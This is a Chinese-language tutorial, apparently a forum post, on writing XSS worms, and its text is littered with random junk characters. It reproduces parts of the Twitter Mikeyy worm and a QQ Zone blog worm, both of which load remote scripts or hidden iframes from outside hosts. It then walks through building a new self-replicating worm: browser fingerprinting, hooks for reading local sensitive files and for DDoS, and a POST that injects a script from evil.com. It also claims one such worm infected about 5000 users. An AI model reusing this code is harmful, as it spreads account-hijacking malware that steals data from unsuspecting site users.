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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; / j7 l: \% y$ c7 t& u& C
+ A$ O6 j) o9 g1 C 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; 0 n" _+ B+ m% Q* h" [) O
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 6 u5 M7 q# S$ B5 L' n4 d
% I' \. i T; o5 |
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; $ M. F; f8 }7 _, ]
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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27.
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28. var ajaxConn= new XHConn();
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, p* V- B1 T& k% n 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
" Z6 u* U2 J6 f) h/ t
0 q) m; X' P4 h& G4 J& X" u 30. var _0xf81bx1c="Mikeyy"; K+ v& D; o9 `( J) h1 j l9 n
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31. var updateEncode=urlencode(_0xf81bx1c);
# ?( G& x* L: m9 S
+ d. p! _' t8 _/ }! w2 W" F 32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 0 ^# n k% r! \+ z2 B, @8 B! m
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; # j& A* q% x5 A% Z) y4 C
( }7 h0 o! Y% X5 P( r6 _! E- f 35. var XSS=urlencode(genXSS); - `& e; b' W4 F. m
8 A. x; I) H( N0 i; k1 U' H 36. var ajaxConn2= new XHConn();
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; _" z4 ?" O$ Q5 G6 f- c 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 7 D0 y5 D, F1 {* P, y# _
* X4 O. G" Y6 ?) x; \1 } 38. / p- Q8 h1 K7 j" b: p" T: B4 x
9 E! J" T1 N' u# P" \* ^( r3 l 39. } ;
1 I( ~- r+ x2 }; h3 \! b& N* |6 e
40. setTimeout(wait(),5250);
; A$ u& ?( g' s3 _; }4 Y9 |复制代码QQ空间XSSfunction killErrors() {return true;}/ t) C+ _; i' u& ]- V
( ]/ D6 j2 ]% \& A1 ^5 z2 awindow.onerror=killErrors;% t; O: k8 A! |: f; P# n
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8 d# h( \+ Z9 b4 i
var shendu;shendu=4;; S1 p2 ~/ H' b
+ |$ j5 [) S& O; _3 I9 W//---------------global---v------------------------------------------: z5 ] G d! q
& t2 |7 _7 `+ l% m0 ~1 }& G3 W ?9 q//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?5 w+ }* |" ^+ _$ W3 H- J# W& K
' O- c+ [( ~7 { N7 V; ~var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";# f$ E0 e: l$ E
' ?# K* m. t( x+ @4 dvar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;; P3 f. c( d: o# U5 v- N G" n- l5 O
& S! z% B0 z" O5 v, n8 i, _ var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3); 5 b- ?, k4 C! `% r" Y
! g0 B$ T6 M3 c7 D; v3 `* X var visitorID=top.document.documentElement.outerHTML;
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1 V6 Q q( B; b8 c var cookieS=visitorID.indexOf("g_iLoginUin = ");0 s1 y7 S" A' N7 X# O$ S! x/ o
* ?0 c9 U% a0 w3 v4 Y; q visitorID=visitorID.substring(cookieS+14);" H4 B2 O/ D, w* K9 s
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);, {0 p) y" b4 t3 V# C# A) ]! o
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get_my_blog(visitorID);
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. G% ]! w8 u9 A3 o" f) A5 q* s DOshuamy();
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# u1 s" @. |/ C$ F, M0 y2 j7 M; s2 }4 Q6 p& e
//挂马
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function DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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" M- X y. l3 j; A5 B9 U$ |ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}" _! G2 r! q# ^0 `/ S
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: h5 d1 N5 W5 L0 l3 s
& m) _/ c2 @+ }8 f4 P//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?8 v9 _9 u- j" b# v1 ]/ L$ H
+ z1 h( K$ ?1 R, o/ \
function get_my_blog(visitorID){
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8 `- U. b/ t; a' [" J: C userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";3 o( X3 z! X$ q8 O
1 o* U4 m9 }2 B; Q" a xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象( o' w( t% ^! z% J' x( D( h5 F
, W, p$ }( I$ |+ W" L d if(xhr){ //成功就执行下面的( W5 B0 t0 k" t* X2 i' F M
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;% t( i# w. K9 A
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get_my_blogurl(guest); //执行这个函数
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}
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% r; S6 Z) N2 G" s//这里似乎是判断没有登录的
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. I. y( O% B# h. {& Z# e4 i; Sfunction get_my_blogurl(guest){) g3 I" `% l$ j3 N% w# U' q5 k" X
0 O1 D- A1 q: ]. f6 Y var mybloglist=guest;% [1 F, s* Y# c
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){4 B' X: |9 S: P/ Q, k2 _
/ u* ]4 D1 |1 L+ F myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的- T* j* v. r& \! `$ T
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mybloglist=mybloglist.substring(myurls+11);- `5 @1 H9 ]* X; y
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myurls=mybloglist.indexOf(')');+ S8 Y% y1 u' u# _
+ _4 v- u8 w9 e myblogid=mybloglist.substring(0,myurls);0 W( v, z" O7 ^1 n. j
" e( Y8 X! Q4 {. D2 u }else{break;}
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get_my_testself(); //执行这个函数1 V! T* o/ N8 N: h3 Y4 v
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}
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+ U' c% T$ {# e7 Q+ n7 S4 K. ~ }6 F
//这里往哪跳就不知道了
; z' r# I2 n: z
/ e9 D/ v& }7 f/ `function get_my_testself(){) D8 u" p- _4 O, y
& J d5 b9 B/ z5 C5 h
for(i=0;i<myblogid.length;i++){ //获得blogid的值% e6 o$ A7 n( L0 Z! q2 c
% J# E7 ~/ x/ `; | var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();. J: I6 ?6 F7 s& e
5 ~& h( e% Y: }. D9 l/ k% U' }
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
7 [2 f4 i8 q: Q q, E( V$ I$ Q( s
if(xhr2){ //如果成功
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xhr2.open("GET",url,false); //打开上面的那个url
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xhr2.send();
|: [) k7 Y4 g" h0 D. A/ V1 u o+ Y# _( d9 k$ i5 n2 A, s: t
guest2=xhr2.responseText;
4 g# c7 v) e% Q% X3 I" y
C: O5 y) S5 V$ b- q var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?/ n0 L5 W, V) }& G/ w0 G; F
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var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串 V( w. W# k# `1 [/ b; i9 L
. P" c# Z; d7 S! {" v& x3 N+ L" v if(mycheckmydoit!="-1"){ //返回-1则代表没找到
! s5 ^ B6 W0 v5 M& U- p/ K$ d3 w0 [7 r/ o9 l
targetblogurlid=myblogid; ; W. B! u* u* j6 o
; f4 K% e1 c1 f t2 U add_jsdel(visitorID,targetblogurlid,gurl); //执行它% e: \+ \2 J5 T h9 Y9 t" I9 b
2 O+ K5 `! P8 n# O, q break;
5 ]4 d; F, Q, E5 ?3 o3 j9 G& k M* \6 @
}
0 {6 f7 F2 A8 h' g* X4 n4 r6 c& ]5 r
if(mycheckit=="-1"){* o9 x- @6 X+ ]
) W! y6 y$ x1 f) A- M- d
targetblogurlid=myblogid;
5 W* n, p+ P( M% i
' G$ R, z$ F: i# D; J( P i add_js(visitorID,targetblogurlid,gurl); //执行它
) {4 ]6 k2 f$ o
$ _1 }2 \+ f6 W+ G break;
7 [, ^ T+ z6 O% A% l
- d6 ?$ s' K; z }
$ ^5 x( L: l4 Q& d! Y. y+ T" h. C
} 0 \% r0 c* Z. Y5 u6 S" ^- @8 j
$ O# a. r$ _3 v, D$ Q}3 _9 X* h" s2 R$ ^- b
* v* i2 a. _4 y: F- A+ M- Q
}5 w0 A/ F: H; L7 s) r# w; \" X! _* ?
$ Q' N* o$ ~5 o m E- O% x+ ^3 }. D1 p- D" U2 Y* t2 m" V( ~. Q
/ `1 G, t. ^" I//--------------------------------------
5 @ G0 Z9 J# F; ~4 M4 Y+ i% b& J# F
//根据浏览器创建一个XMLHttpRequest对象
* T* `1 a Z3 Z! t$ A; @2 \9 U+ Y) H2 A
function createXMLHttpRequest(){
/ M" e( Q0 [7 j5 \% `
7 @7 i1 [" E; g1 t( P( D: \ var XMLhttpObject=null;
0 R/ ]' T6 E( R0 K) k( c: H) N" p5 e# g
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 4 E' D% c( d5 `* f% `6 d% R
( s+ p- n7 v- z6 R0 _; P* ^
else $ K; d4 n0 @& N# x; r, h: `: b
& X B! L6 W; ]9 l j { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; + l# B; P# x* _& c: U A% N7 `& k
! A% H0 `# T5 S for(var i=0;i<MSXML.length;i++) " D6 {( r( v* K# q8 y4 j
9 J T0 h6 x* C
{
M7 ?% i. I; G) V9 g" y
7 ?- Q: M# D7 y' m/ C try
; r3 x" A* }0 O- Y
+ T) e( a- Q& g9 w' T2 L { ) g" C9 F! H& a# ]! s8 W7 n8 v4 Q( G3 S
% h, M, C: Y9 u0 N XMLhttpObject=new ActiveXObject(MSXML);
" E6 Q; [7 G) c
9 d5 y! i$ Z5 G. R0 X% Y break; 2 ]) E6 B# Q$ m) B8 u7 Y# V
$ r& T' z9 V5 \- I; G4 v3 e7 | } . ^5 M- z" W8 j: S) R7 W1 h
! R# M. l6 c) z catch (ex) {
& z x6 @6 |1 A% |) V N7 C% o; q2 {. m7 i/ @
}
! J g6 \0 {+ J
; `' x- B$ Z3 h) N* J }
( E. ~( b/ _, K! o7 u. a" C# }! E4 I# u* K% u
}! J* Q! Y \2 k
7 Q- ?$ o0 ^! a5 z
return XMLhttpObject;
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j" m- }+ @8 M5 J} . j, [4 P! Q8 v8 S
; H: B3 ^4 E9 a! m# `, ?/ q* Z9 U! n3 w
, [3 d& M6 G9 L" v( l' j
//这里就是感染部分了
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function add_js(visitorID,targetblogurlid,gurl){
2 \1 C0 \' f% O8 K* X. T" G2 D/ S6 j0 B6 \# k! _6 c2 y/ s
var s2=document.createElement('script');$ g; J( } u3 b' r" T
) v' w- @5 o( r' F2 M8 bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* Y* { V) w6 t
1 P4 d3 ~; r1 m3 H- q( F! p& p& ?$ Ys2.type='text/javascript';, Y& d7 h+ |8 f! N
: }4 m% X7 G1 B8 w8 l, S4 Cdocument.getElementsByTagName('head').item(0).appendChild(s2);
- H# d( a, j9 G9 n
3 j4 i) q4 Q7 Y0 o' \; M}& @: V: S$ Z6 i! `5 G
" [# M& N6 }9 e. r$ ^) y6 e+ y2 p) F( L; l+ U1 J
7 n! @, X2 M* U6 R" Nfunction add_jsdel(visitorID,targetblogurlid,gurl){
* k C. q& F: ]: ^2 _( Y* Z' |: ?6 s1 F" W, l6 K; y
var s2=document.createElement('script');
* @: ], _( i: _% J. k, Y! T
; I* L5 s5 k# L) Is2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();4 d! R9 b; m3 [: o/ \! Y8 Z
D7 B3 E( `/ X) w/ S$ \. ?7 b
s2.type='text/javascript';( |4 A( @. s( s6 Y& S( t
; D1 p1 w t8 m7 j2 ?& Cdocument.getElementsByTagName('head').item(0).appendChild(s2);" b$ W% z1 ?8 \6 e
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}
0 d9 @) ]: E- {6 ?0 ` \2 b- ]复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:! F* t7 e: n3 j$ K4 _
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)8 m8 x0 j" M; h* j% E) l
! q0 ]; q" z/ g1 c2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
. u, J4 s V3 p' G6 B5 Z6 [3 P" [! Z* c0 u* O
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
" _; P; q) k5 w, u% m s8 F7 }% a% \" W- O% z/ }) k
8 e' h) I5 ~9 D& m下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
% p7 |7 a: ?! \2 O8 P# }
1 I( d1 {, Y% _6 X8 E# G2 K4 i( o首先,自然是判断不同浏览器,创建不同的对象var request = false;0 K$ T6 t" C! R3 Q& F' z' F) q
7 j4 b" |# A! g1 }+ vif(window.XMLHttpRequest) {7 C, z* `- H V6 H
/ F# [# v1 M6 ]6 v; y: n. B1 l8 Vrequest = new XMLHttpRequest();0 u3 g! q8 |* s+ v) }( [
+ X5 B$ Q* Z# e* ~' r' Q0 a aif(request.overrideMimeType) {* O% \. C7 ]$ q7 m0 B$ c, j0 L" u
7 W0 Z/ `# [6 ?. z0 ?$ |- prequest.overrideMimeType('text/xml');
' u& i5 ?! B; F |! C% a3 m
( [% Y- U" z7 Q}/ J' Y$ |% `' ~5 X6 o8 }
" D+ F* I7 ^: d% z% } h. v} else if(window.ActiveXObject) {, n9 ~% v3 m) C: Z! I @7 _
B# c* t: J: {1 @
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];8 u$ p6 j9 h5 }
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for(var i=0; i<versions.length; i++) {3 S! D4 o0 n; y5 K& \) y
7 v& x* g0 Z( G* Q& [+ M# c
try {
6 |9 x0 x% B- l# D- I) y( Y2 f" T% ?( ]$ u$ A4 Z1 n1 K
request = new ActiveXObject(versions);
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} catch(e) {}- Z$ Z3 q5 N, W4 a1 L. \2 @
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% t$ M" ?" ], ]1 ^6 }! q
}
8 w3 N. g: [8 Y- o
" ~4 z3 N K/ O5 b. PxmlHttpReq=request;
9 A" \1 ?6 N, [& |; Q复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
9 D# [ D2 y* Y; X
2 a+ L- M4 \6 X! U$ Q1 ` var Browser_Name=navigator.appName;% ^) {9 q% Z7 m; c$ A
, Y2 E. u( |4 ]) @1 ?/ Z
var Browser_Version=parseFloat(navigator.appVersion);
* k" W$ U$ `3 ~2 M$ L0 `$ X0 ~" M5 x8 f/ o; u3 \+ q$ E
var Browser_Agent=navigator.userAgent;, [2 ?" o+ `0 O( q4 a
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6 A- b+ F! R' }: q& w
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var Actual_Version,Actual_Name;
" _4 h# [. G% f6 C1 s& H; o; |9 E
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# [# g) g5 L5 J
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
8 ~5 u/ j w& ?0 S4 c8 X' Z9 ^" V% ~
var is_NN=(Browser_Name=="Netscape");6 f+ j+ X' Y4 U
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var is_Ch=(Browser_Name=="Chrome");1 S& L/ g6 E, a! X" P+ r
3 J9 f+ v8 n* K4 L9 ~
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/ w# `1 X! r0 Q) W9 A if(is_NN){
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if(Browser_Version>=5.0){# C! \7 g4 Y' T, X" w
- ~* x& \: i u
var Split_Sign=Browser_Agent.lastIndexOf("/");
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var Version=Browser_Agent.indexOf(" ",Split_Sign);
' G+ @4 E& R# {2 j
1 f3 P/ {! [/ @/ T7 Q/ |2 A var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);3 z" M+ Y3 u# y+ W1 j
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/ @- j* l- I2 l4 W
+ r; q. t Z% T5 D7 y+ W `8 z Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);$ M' r# z- y2 `) D
6 d3 P7 S( Y' [" h1 W: I
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);* ^7 ~& ^" C1 Y) w- K" P
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}
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& o+ E2 X2 W/ @% ?, o9 [9 q% j else{1 J$ ?2 D0 s7 S4 E1 v* ~
/ [6 A1 M3 ]! n5 J; d
Actual_Version=Browser_Version;* l- i# s! [2 l- Q7 j- s
' G; m, G& s! t! h2 Q. r: e5 L. B8 d, x* L Actual_Name=Browser_Name;; @8 E* R" t; m( n b- ?* u/ d
0 ]- w9 {2 }% j; ]1 O4 Y: ~
}5 Y' I$ P; O9 {9 W/ F* a) [& B: {# {
+ i- x8 ~# R8 E+ p2 P. L& ?; K5 T8 \
}
# U# ~$ l1 ^: o) n- l
! H; h1 C5 h: Z) M% U+ q else if(is_IE){
% J; a/ Q- q" G! D; I9 I: _# b' i1 ~5 X% D
var Version_Start=Browser_Agent.indexOf("MSIE");: f5 N. \$ V7 ]. K, j9 E
3 H+ o8 h7 q3 f& B% j5 ]5 b! D; G
var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 h) h4 H1 w6 b4 z3 v% i. M% q2 r6 K/ T- u! z y
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;# \! v* L" c9 _7 ?& o% |) |
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& }7 p: m% d" a( j- o- e
" w' Q2 p; J/ M/ B, V- {2 { if(Browser_Agent.indexOf("Maxthon")!=-1){! L f( X% L1 `% _- \: g
( ~% y. _5 x4 t. f6 f; l t Actual_Name+="(Maxthon)";
! }; C% Q: O l& s
6 C" N0 `" y% B! C9 T }, M+ w( j' A! o
6 D7 S# p3 }1 ~ else if(Browser_Agent.indexOf("Opera")!=-1){
) N+ w2 i$ q1 x) S1 m$ o2 U8 A% k3 @
Actual_Name="Opera";
4 S# l& e' T0 }' z
- p! I! M- q% r( n. _( H6 | var tempstart=Browser_Agent.indexOf("Opera");
; {5 r$ j7 N/ X7 N. r' ~
3 T! V; h$ G B$ \+ c% G var tempend=Browser_Agent.length;
v" }2 w" \/ y6 j1 Q2 g) B. i. X' s; u9 `
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)! M6 d% H* l- |. U) K7 o
$ C! x& V) ?/ N: b0 T5 m- I
}
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}$ e i7 w+ O' o4 M9 i
. I9 b U1 x2 U( h else if(is_Ch){. N2 y* J5 D2 g4 v
j9 G; ~; ~0 w: ]1 e var Version_Start=Browser_Agent.indexOf("Chrome");
6 F5 k- N3 R, R7 ~6 V: i
! x1 U: v* Y9 O' X- w var Version_End=Browser_Agent.indexOf(";",Version_Start);( Q9 _( k2 }* C1 f" f; `4 D
! @0 L1 V7 `% y# T- m8 l Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
8 Z1 \. D/ L# v6 N& U1 m
1 ?' V4 U, {* f5 t1 g Actual_Name=Browser_Name;
% b& M8 ~) q( F3 ]* h/ \0 Q
! I+ _0 }+ L a+ Z $ O2 e& w. S! h% z
$ B/ a" u4 l. l% r5 S
if(Browser_Agent.indexOf("Maxthon")!=-1){
9 t \/ u9 ?3 g8 y6 u' A9 L
4 q' a) C+ p, x Actual_Name+="(Maxthon)";6 A& O6 e7 q$ x! F
7 ?- a7 P$ K$ R' k
}3 h" }& V9 Y! w- I, X2 S' o0 ]( B
! ?: ]1 Q* d a
else if(Browser_Agent.indexOf("Opera")!=-1){
/ o( q. k0 N B1 a9 t! A: G L) | x2 l, p- F: n, x
Actual_Name="Opera";8 I* m4 v$ B, K4 v
3 B) H1 b5 P$ h' M6 p* @( |4 U var tempstart=Browser_Agent.indexOf("Opera");5 Y, H: E: K7 v0 b5 _3 |; L
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var tempend=Browser_Agent.length;' L5 m9 |( _' l' z+ @0 {5 G
# x8 d! ?! f5 v8 M S+ n
Actual_Version=Browser_Agent.substring(tempstart+6,tempend): U& F) ?8 Z. s. l9 Z( [$ Q8 t
% k- B- U$ M# `0 B6 K9 v9 O }$ b$ Z$ q/ _- |* O" d
( h. L+ d3 x' @- z! e( u/ e2 L1 X }+ T; {# h2 _) ^# s! q
1 y; Y: P/ D# \+ ?
else{
: Z4 E. R; V, O. E& N6 T# N8 [4 K! J8 `
Actual_Name="Unknown Navigator"
, o6 Q! k1 b9 V6 o! Q* U/ H/ J4 a. ?
Actual_Version="Unknown Version"" q( z9 q% q+ t |) A4 o
/ ]9 m Z; Y) m" i$ |5 t }
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, y: C# m# ?' \+ i7 M @/ T/ Z- P
, o: y: J" u5 n) a& M$ N% v navigator.Actual_Name=Actual_Name;) B* n! e/ Q9 T2 ?
" A, C1 s- H! l& q
navigator.Actual_Version=Actual_Version;) d3 F2 H5 z& q
6 s! {5 @4 ^2 R# ~. X - H& O0 A; {6 D% f+ a. m
3 d1 D( S& u3 l0 u. t, S( o2 x1 h
this.Name=Actual_Name;
: T9 }) @( m: Z5 ~6 |/ R4 p# d0 R, T
this.Version=Actual_Version;
0 a% k9 o i/ E- K4 W9 l) x# u6 s3 h5 }$ {
}2 O! m6 A+ ?; M$ I+ ^- B' @
/ k D+ @1 I4 M- p' R browserinfo();
, X- P* ]. {' I4 t+ g$ I/ D; L" k1 Y e9 u1 x- V
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
& X2 |; I' V( A8 n' g& M% ?# w2 b5 I4 q, b2 P
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# K5 f |& ]) e0 @$ c. J& y% _$ J( A6 K o0 [
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}- L! u4 M- Z) M$ A! t, m6 K
4 }, A9 V# t1 Z& d7 j3 A if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}! s6 _! }" j5 o/ I- o/ m
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码! P9 Z6 b! `1 U# O8 \
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码5 B# V3 M5 K& C6 y
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
( G% Q% p, k1 N# K- `/ l! X
. Y* ?; j! \! bxmlHttpReq.send(null);
. K0 }$ H, g0 I P o9 x: b. [! S: { M X* Q
var resource = xmlHttpReq.responseText;' `$ [7 X2 u2 k
! l8 j* w) c6 c* p
var id=0;var result;
. ~$ ]! D3 K3 q
3 L8 `9 f. `2 Y- [0 w- Avar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: ?. y# ?$ k. T: K- k" t5 |! p' k/ K6 |6 S$ K
while ((result = patt.exec(resource)) != null) {
: U8 C0 _$ p4 p* E3 {+ ~9 J. ?+ A+ Q$ W8 Y2 x
id++;
q: k; m/ R: x ?& p; w, @" o/ |: S# z5 p
}3 L" [2 \( Q( S+ J1 G3 L& D+ [6 b: k
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
! R) L$ \: _3 D3 b$ g* ?& C9 H! C) w5 \7 D) Y* m
no=resource.search(/my name is/);
' h2 P/ |: m: B# t, y8 {/ R! A$ l" H2 r. ]# o
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;
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; l. p" \6 x9 h& T" Y* \3 M& [# exmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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. w1 ?9 U' ~0 J! t6 `xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");3 {: e; A ]8 J5 {
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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M* A2 s" D. [& W( [" N3 c PxmlHttpReq.send(post);8 |% r) W; a3 P, d2 f
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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: F9 p* L8 @: s! L. q7 L7 dvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.0 }1 J; N& w: A( W3 p$ u! r
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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2 v3 `/ H5 M7 A! o: D2 I! `6 gxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");' O) o6 f9 L3 M$ R# K x6 e" h9 E
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");6 M4 I& S- S) Y8 n& L' X
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xmlHttpReq.send(post); //把传播的信息 POST出去.9 s* g# S1 V8 A, X
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}
$ O; e1 |5 s% G4 @复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.; M7 g+ @8 ^/ D# F& f+ D ^
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
2 M& ~; e. f N( }8 l3 h6 A- Y操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.) G2 R. j# u" w3 l0 k6 B9 E
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本文引用文档资料:& z1 i- q& R% l8 @. f
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005), W& l, I5 }2 {$ d* v6 O
Other XmlHttpRequest tricks (Amit Klein, January 2003)
: p( w6 q' v, o3 G" g! h6 z# [8 i"Cross Site Tracing" (Jeremiah Grossman, January 2003), V! X4 e+ h) \
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog V' B+ M1 H6 ^% T
空虚浪子心BLOG http://www.inbreak.net
8 {3 m* ~2 b/ fXeye Team http://xeye.us/
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